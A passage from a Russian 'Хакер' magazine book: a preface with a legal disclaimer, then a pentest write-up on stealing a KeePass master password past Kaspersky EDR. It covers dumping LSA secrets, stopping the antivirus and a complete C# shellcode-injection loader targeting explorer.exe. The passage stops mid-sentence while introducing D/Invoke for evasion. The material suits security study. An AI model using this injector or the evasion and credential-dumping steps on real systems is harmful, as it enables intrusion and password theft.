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Предисловие 
 
 
 
 
Прошло два года с момента публикации первого сборника статей, подготовленного 
издательством «БХВ» совместно с редакцией журнала «Хакер». То дебютное изда-
ние называлось «Взлом. Приемы, трюки и секреты хакеров». Книга быстро завое-
вала популярность среди читателей, пережила несколько допечаток и разошлась 
большим тиражом, что еще раз доказывает: тема информационной безопасности не 
теряет своей актуальности. Сейчас ее уже невозможно найти в продаже, однако мы 
решили не выпускать еще один дополнительный тираж, потому что опубликован-
ные в первом сборнике материалы за два года немного устарели. Сфера защиты 
информации весьма динамична, здесь все меняется очень быстро. Между тем в 
«Хакере» каждый день выходят новые интересные и актуальные статьи. Они и лег-
ли в основу этой книги.  
Публикуемые в «Хакере» материалы всегда отличались своей практической ценно-
стью. Здесь не найдешь философских трактатов о судьбах IT-индустрии или про-
странных рассуждений о внутреннем устройстве программ. Только практические 
приемы взлома, защиты от него, описание уязвимостей, технологий атак, способов 
их детектирования и защиты данных. Все тексты созданы практикующими профес-
сионалами, имеющими многолетний опыт работы в сфере пентестинга, реверс-
инжиниринга и информационной безопасности. Уровень экспертизы авторского 
коллектива «Хакера» необычайно высок, что подтверждается многолетней истори-
ей журнала. Возможно, именно поэтому некоторые авторы предпочитают публико-
вать свои статьи и руководства под псевдонимами — настоящие имена создателей 
отдельных текстов не знают даже сотрудники редакции :). 
Журнал «Хакер» появился в феврале 1999 года, и первые его выпуски были в 
большей степени посвящены компьютерным играм, чем взлому и защите от него. 
Но позже игровая тематика перекочевала в отдельное издание, и уже через десять 
номеров акцент сместился в сторону всевозможных компьютерных трюков и ха-
керской субкультуры. Ведь хакеры — в первоначальном, классическом понимании 
данного термина — это исследователи, изучающие внутреннее устройство и архи-
тектуру компьютеров не с целью личного обогащения или вредительства, а исклю-
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чительно ради удовлетворения собственной жажды познания. Вот для таких хаке-
ров и был создан журнал. 
На бумаге «Хакер» выходил еще шестнадцать лет — до июля 2015 года. За это 
время многое изменилось: стал совершенно иным рынок рекламы, стоимость поли-
графии выросла в несколько раз, да и читатели стали менее охотно покупать бу-
мажную прессу, предпочитая читать интересующие их статьи в интернете. Журнал 
отреагировал на новые веянья времени: все последующие выпуски перекочевали на 
сайт xakep.ru, до этого игравший роль официальной веб-странички бумажного из-
дания, а в 2015 году превратившийся в единственную площадку, на которой выхо-
дили все новые материалы. Сейчас xakep.ru читает несколько миллионов человек 
ежемесячно, постоянные подписчики получают PDF-версию журнала, электронные 
рассылки и внимательно следят за новинками в социальных сетях. 
В середине «нулевых» претерпела существенные изменения и индустрия хакерства, 
разделившись на два противоположных по своей сути течения: криминальное, и 
противостоящее ей направление информационной безопасности. «Хакер» занял 
сторону добра: мы пишем о взломе с точки зрения тестирования безопасности ин-
формационных систем, особое внимание уделяя противодействию вторжениям, 
профилактике защиты и мерам по обеспечению сохранности данных. Читатели 
«Хакера» всегда остаются на острие прогресса, поскольку журнал делится с ними 
самой актуальной информацией о новых уязвимостях, вредоносных программах, 
векторах атак и прочих важных событиях в мире ИБ. 
Исторически в «Хакере» сложилась своеобразная атмосфера. Во-первых, авторы 
общаются с читателем запросто, на «ты». Во-вторых, здесь допустимы сленг и жар-
гонизмы: наши авторы не любят официоза и привыкли называть вещи своими име-
нами. Кто-то из читателей первых сборников назвал это «гопническим стилем» — 
вероятно, он просто никогда не держал в руках бумажный «Хакер» или ни разу не 
заглядывал на xakep.ru. 
В книге принят ряд условных обозначений. Так, врезка Примечание содержит ту 
или иную полезную информацию, относящуюся к рассматриваемой теме. Врезка 
Полезные ссылки включает ссылки на различные публикации в интернете, где вы 
сможете почерпнуть дополнительную информацию по связанной теме. Во врезке 
ВНИМАНИЕ! приведена важная информация, к которой следует отнестись со всей 
возможной серьезностью. Жирным шрифтом в книге выделены элементы интер-
фейса, моноширинным — команды, элементы машинного ввода и вывода. 
Прочитав книгу, вы узнаете, как обходить антивирусы, как работает новая атака на 
Active Directory, как устроена куча и связанные с ней уязвимости, научитесь рабо-
тать фаззером и искать дыры в софте. Еще вы познакомитесь с примерами взлома 
различных протекторов, особенностями пентеста протоколов динамической мар-
шрутизации и протокола DTP, выясните, как написать DDoS-утилиту для Windows. 
Наконец, вы освоите разработку своего трейнера для игры на языке С++ и узнаете, 
как устроена нашумевшая уязвимость Log4HELL.  
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Поскольку тема этой книги весьма специфична, мы не можем не опубликовать в 
предисловии несколько важных предупреждений. Вот они: 

ВНИМАНИЕ! 
Вся приведенная на страницах этой книги информация, код и примеры публикуются 
исключительно в ознакомительных целях. Ни издательство «БХВ», ни редакция жур-
нала «Хакер», ни авторы не несут никакой ответственности за любые последствия ис-
пользования информации, полученной в результате прочтения книги, а также за лю-
бой возможный вред, причиненный информацией из этого издания. 
Помните, что несанкционированный доступ к компьютерным системам и распростра-
нение вредоносного ПО преследуются по закону. Все рассмотренные в книге методы 
представлены в ознакомительных целях. Каким-либо образом используя представ-
ленную в книге информацию, вы действуете исключительно на собственный страх и 
риск. 

Надеюсь, эта книга поможет вам в изучении принципов и практических приемов 
информационной безопасности, а также послужит хорошим источником вдохнове-
ния в процессе обучения защите данных. 
 

Валентин Холмогоров, 
редактор рубрики «Взлом» журнала «Хакер» 

http://xakep.ru 
http://holmogorov.ru 
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Вызов мастеру ключей.  
Инжектим шелл-код в память KeePass, 
обойдя антивирус 
snovvcrash 
 
 
Недавно на пентесте мне понадобилось вытащить мастер-пароль открытой базы 
данных KeePass из памяти процесса с помощью утилиты KeeThief из арсенала 
GhostPack. Все бы ничего, да вот EDR, следящий за системой, категорически не 
давал мне этого сделать — ведь под капотом KeeThief живет классическая проце-
дура инъекции шелл-кода в удаленный процесс, что не может остаться незамечен-
ным в 2022 году. 
В этой главе мы рассмотрим замечательный сторонний механизм D/Invoke для C#, 
позволяющий эффективно дергать Windows API в обход средств защиты, и пере-
пишем KeeThief, чтобы его не ловил великий и ужасный «Касперский». Погнали! 

Предыстория 
В общем, пребываю я на внутряке, домен-админ уже пойман и наказан, но вот ос-
талась одна вредная база данных KeePass, которая, конечно же, не захотела сбру-
титься с помощью hashcat и keepass2john.pу (https://gist.github.com/HarmJ0y/ 
116fa1b559372804877e604d7d367bbc). В KeePass — доступы к критически важным 
ресурсам инфры, определяющим исход внутряка, поэтому добраться до нее нужно. 
На рабочей станции, где пользак крутит интересующую нас базу, глядит в оба 
Kaspersky Endpoint Security (он же KES), который не дает расслабиться. Рассмот-
рим, какие есть варианты получить желанный мастер-пароль, не прибегая к социн-
женерии. 
Прежде всего скажу, что успех этого предприятия — в обязательном использова-
нии крутой малвари KeeThief из коллекции GhostPack авторства небезызвестных 
@harmj0y (https://twitter.com/harmj0y) и @tifkin_ (https://twitter.com/tifkin_). Яд-
ро программы — кастомный шелл-код, который вызывает RtlDecryptMemory в от-
ношении зашифрованной области виртуальной памяти KeePass.exe и выдергивает 
оттуда наш мастер-пароль. Если есть шелл-код, нужен и загрузчик, и с этим возни-
кают трудности, когда на хосте присутствует EDR... 
Впрочем, мы отвлеклись. Какие были варианты? 
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Потушить AV 
Самый простой (и глупый) способ — вырубить к чертям «Касперского» на пару 
секунд. «Это не редтим, поэтому право имею!» — подумал я. Так как привилегии 
администратора домена есть, есть и доступ к серверу администрирования KES. 
Следовательно, и к учетке KlScSvc (в этом случае использовалась локальная УЗ), 
креды от которой хранятся среди секретов LSA в плейнтексте. 
Порядок действий простой. Дампаю LSA с помощью secretsdump.py  
(https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) 
(рис. 1.1). 

 

Рис. 1.1. Потрошим LSA  
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Гружу консоль администрирования KES с официального сайта 
(https://www.kaspersky.ru/small-to-medium-business-security/downloads/endpoint) 
и логинюсь, указав хостнейм KSC (рис. 1.2). 

 

Рис. 1.2. Консоль администрирования KES 

 

Рис. 1.3. AdobeHelperAgent.exe, ну вы поняли, ага 
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Стопорю «Каспера» и делаю свои грязные делишки (рис. 1.3). 
Profit! Мастер-пароль у нас. После окончания проекта я опробовал другие способы 
решить эту задачу. 

Получить сессию C2 
Многие C2-фреймворки (https://attack.mitre.org/tactics/TA0011/) умеют тащить за 
собой DLL рантайма кода C# (Common Language Runtime, CLR) и загружать ее от-
раженно по принципу RDI (Reflective DLL Injection, https://www.ired.team/ 
offensive-security/code-injection-process-injection/reflective-dll-injection) для запус-
ка малвари из памяти. Теоретически это может повлиять на процесс отлова управ-
ляемого кода, исполняемого через такой трюк. 
Полноценную сессию Meterpreter при активном антивирусе Касперского получить 
трудно из-за обилия артефактов в сетевом трафике, поэтому его execute-assembly 
(https://github.com/b4rtik/metasploit-execute-assembly) я даже пробовать не стал. 
А вот модуль execute-assembly (https://www.cobaltstrike.com/blog/cobalt-strike-3-
11-the-snake-that-eats-its-tail/) Cobalt Strike принес свои результаты, поскольку я 
правильно получил сессию beacon (далее скриншоты будут с домашнего KIS, а не 
KES, но все техники работают и против последнего — проверено, рис. 1.4). 

 

Рис. 1.4. KeeTheft.exe с помощью execute-assembly CS 

Все козыри раскрывать не буду — мне еще работать пентестером, однако этот ме-
тод тоже не представляет большого интереса в нашей ситуации. Для гладкого по-
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лучения сессии «маячка» нужен внешний сервак, на который надо накрутить ва-
лидный сертификат для шифрования SSL-трафика, а заражать таким образом ма-
шину с внутреннего периметра заказчика — совсем невежливо. 

Перепаять инструмент 
Самый интересный и в то же время трудозатратный способ — переписать логику 
инъекции шелл-кода таким образом, чтобы EDR не спалил в момент исполнения. 
Это то, ради чего мы сегодня собрались, но для начала немного теории. 

ПРИМЕЧАНИЕ 
Дело здесь именно в уклонении от эвристического анализа, так как, если спрятать сиг-
натуру малвари с помощью недетектируемого упаковщика, доступ к памяти нам все 
равно будет запрещен из-за фейла инъекции (рис. 1.5). 

 

Рис. 1.5. Запуск криптованного KeeTheft.exe при активном EDR 

Классическая инъекция шелл-кода 
Оглянемся назад и рассмотрим классическую технику внедрения стороннего кода в 
удаленный процесс. Для этого наши предки пользовались священным трио Win32 
API (рис. 1.6): 
 VirtualAllocEx (https://docs.microsoft.com/en-

us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex) — выделить ме-
сто в виртуальной памяти удаленного процесса под наш шелл-код. 
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 WriteProcessMemory (https://docs.microsoft.com/en-
us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory) — записать 
байты шелл-кода в выделенную область памяти. 

 CreateRemoteThread (https://docs.microsoft.com/en-
us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createremotethread) — запустить новый поток в удаленном процессе, который 
стартует свежезаписанный шелл-код. 

 

Рис. 1.6. Исполнение шелл-кода с помощью Thread Execution  
(изображение — elastic.co) 

Напишем простой PoC на C#, демонстрирующий эту самую классическую инъек-
цию шелл-кода. 
using System; 
using System.Diagnostics; 
using System.Runtime.InteropServices; 
 
namespace SimpleInjector 
{ 
    public class Program 
    { 
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 
        static extern IntPtr OpenProcess( 
            uint processAccess, 
            bool bInheritHandle, 
            int processId); 
 
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 
        static extern IntPtr VirtualAllocEx( 
            IntPtr hProcess, 
            IntPtr lpAddress, 
            uint dwSize, 
            uint flAllocationType, 
            uint flProtect); 
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        [DllImport("kernel32.dll")] 
        static extern bool WriteProcessMemory( 
            IntPtr hProcess, 
            IntPtr lpBaseAddress, 
            byte[] lpBuffer, 
            Int32 nSize, 
            out IntPtr lpNumberOfBytesWritten); 
 
        [DllImport("kernel32.dll")] 
        static extern IntPtr CreateRemoteThread( 
            IntPtr hProcess, 
            IntPtr lpThreadAttributes, 
            uint dwStackSize, 
            IntPtr lpStartAddress, 
            IntPtr lpParameter, 
            uint dwCreationFlags, 
            IntPtr lpThreadId); 
 
        public static void Main() 
        { 
            // msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the 
Planet!' EXITFUNC=thread -f csharp 
            byte[] buf = new byte[] { }; 
 
            // Получаем PID процесса explorer.exe 
            int processId = Process.GetProcessesByName("explorer")[0].Id; 
 
            // Получаем хендл процесса по его PID (0x001F0FFF = 
PROCESS_ALL_ACCESS) 
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId); 
 
            // Выделяем область памяти 0x1000 байт (0x3000 = MEM_COMMIT | 
MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE) 
            IntPtr allocAddr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 
0x3000, 0x40); 
 
            // Записываем шелл-код в выделенную область 
            _ = WriteProcessMemory(hProcess, allocAddr, buf, buf.Length, out 
_); 
 
            // Запускаем поток 
            _ = CreateRemoteThread(hProcess, IntPtr.Zero, 0, allocAddr, 
IntPtr.Zero, 0, IntPtr.Zero); 
        } 
    } 
} 
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Скомпилировав и запустив инжектор, с помощью Process Hacker можно наблюдать, 
как в процессе explorer.exe запустится новый поток, рисующий нам диалоговое ок-
но MSF (рис. 1.7). 

 

Рис. 1.7. Классическая инъекция шелл-кода 

Если просто положить такой бинарь на диск с активным средством антивирусной 
защиты, реакция будет незамедлительной независимо от содержимого массива 
buf, то есть нашего шелл-кода. Все дело в комбинации потенциально опасных  
вызовов Win32 API, которые заведомо используются в большом количестве зло-
вредов. Для демонстрации я перекомпилирую инжектор с пустым массивом buf  
и залью результат на VirusTotal. Реакция (https://www.virustotal.com/gui/file/ 
894aa4b908f51ec2202fffd1dd052716921ee1598a431b356a9a2c6c4a479367) ресурса 
говорит сама за себя (рис. 1.8). 
Как антивирусное ПО понимает, что перед ним инжектор, даже без динамического 
анализа? Все просто: пачка атрибутов DllImport, занимающих половину нашего 
исходника, кричит об этом на всю деревню. Например, с помощью такого волшеб-
ного кода на PowerShell я могу посмотреть все импорты в бинаре .NET. 

ПРИМЕЧАНИЕ 
Здесь используется сборка System.Reflection.Metadata, доступная «из коробки» в 
PowerShell Core. Установка описана в документации Microsoft 
(https://docs.microsoft.com/en-us/powershell/scripting/install/ 
installing-powershell-on-windows). 
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Рис. 1.8. VirusTotal намекает... 

$assembly = 
"C:\Users\snovvcrash\source\repos\SimpleInjector\bin\x64\Release\SimpleInjector
.exe" 
$stream = [System.IO.File]::OpenRead($assembly) 
$peReader = [System.Reflection.PortableExecutable.PEReader]::new($stream, 
[System.Reflection.PortableExecutable.PEStreamOptions]::LeaveOpen -bor 
[System.Reflection.PortableExecutable.PEStreamOptions]::PrefetchMetadata) 
$metadataReader = 
[System.Reflection.Metadata.PEReaderExtensions]::GetMetadataReader($peReader) 
$assemblyDefinition = $metadataReader.GetAssemblyDefinition() 
 
foreach($typeHandler in $metadataReader.TypeDefinitions) { 
    $typeDef = $metadataReader.GetTypeDefinition($typeHandler) 
    foreach($methodHandler in $typeDef.GetMethods()) { 
        $methodDef = $metadataReader.GetMethodDefinition($methodHandler) 
 
        $import = $methodDef.GetImport() 
        if ($import.Module.IsNil) { 
            continue 
        } 
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        $dllImportFuncName = $metadataReader.GetString($import.Name) 
        $dllImportParameters = $import.Attributes.ToString() 
        $dllImportPath = 
$metadataReader.GetString($metadataReader.GetModuleReference($import.Module).Na
me) 
        Write-Host "$dllImportPath, $dllImportParameters`n$dllImportFuncName`n" 
    } 
} 

 

Рис. 1.9. Смотрим импорты в SimpleInjector.exe 

ПРИМЕЧАНИЕ 
Эти импорты представляют собой способ взаимодействия приложений .NET с не-
управляемым кодом — таким, например, как функции библиотек user32.dll, 
kernel32.dll. Этот механизм называется P/Invoke (Platform Invocation Services), а са-
ми сигнатуры импортируемых функций с набором аргументов и типом возвращаемого 
значения можно найти на сайте pinvoke.net (https://www.pinvoke.net/) (рис. 1.9). 

 
При анализе этого добра в динамике, как ты понимаешь, дела обстоят еще  
проще: так как все EDR имеют привычку вешать хуки на userland-интерфейсы, 
вызовы подозрительных API сразу поднимут тревогу. Подробнее об этом можно 
почитать в ресерче (https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/) 
@ShitSecure (https://twitter.com/ShitSecure), а в лабораторных условиях хукинг 
нагляднее всего продемонстрировать с помощью API Monitor (http://www.rohitab.com/ 
apimonitor, рис. 1.10). 
Итак, что же со всем этим делать? 
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Рис. 1. 10. Хукаем kernel32.dll в SimpleInjector.exe 

Введение в D/Invoke 
В 2020 году исследователи @TheWover (https://twitter.com/therealwover) и 
@FuzzySecurity (https://twitter.com/fuzzysec) представили новый API для вызова 
неуправляемого кода из .NET — D/Invoke (Dynamic Invocation, по аналогии с 
P/Invoke). Этот способ основан на использовании мощного механизма делегатов 
(https://docs.microsoft.com/ru-ru/dotnet/csharp/programming-guide/delegates/) в 
C# и изначально был доступен как часть фреймворка для разработки постэксплуа-
тационных тулз SharpSploit (https://github.com/cobbr/SharpSploit), однако позже 
был вынесен в отдельный репозиторий (https://github.com/TheWover/DInvoke) и 
даже появился (https://www.nuget.org/packages/DInvoke/) в виде сборки на NuGet. 
С помощью делегатов разработчик может объявить ссылку на функцию, которую 
хочет вызвать, со всеми параметрами и типом возвращаемого значения, как и при 
использовании импорта с помощью атрибута DllImport. Разница в том, что в отли-
чие от импорта с помощью DllImport, когда адрес импортируемых функций ищет 


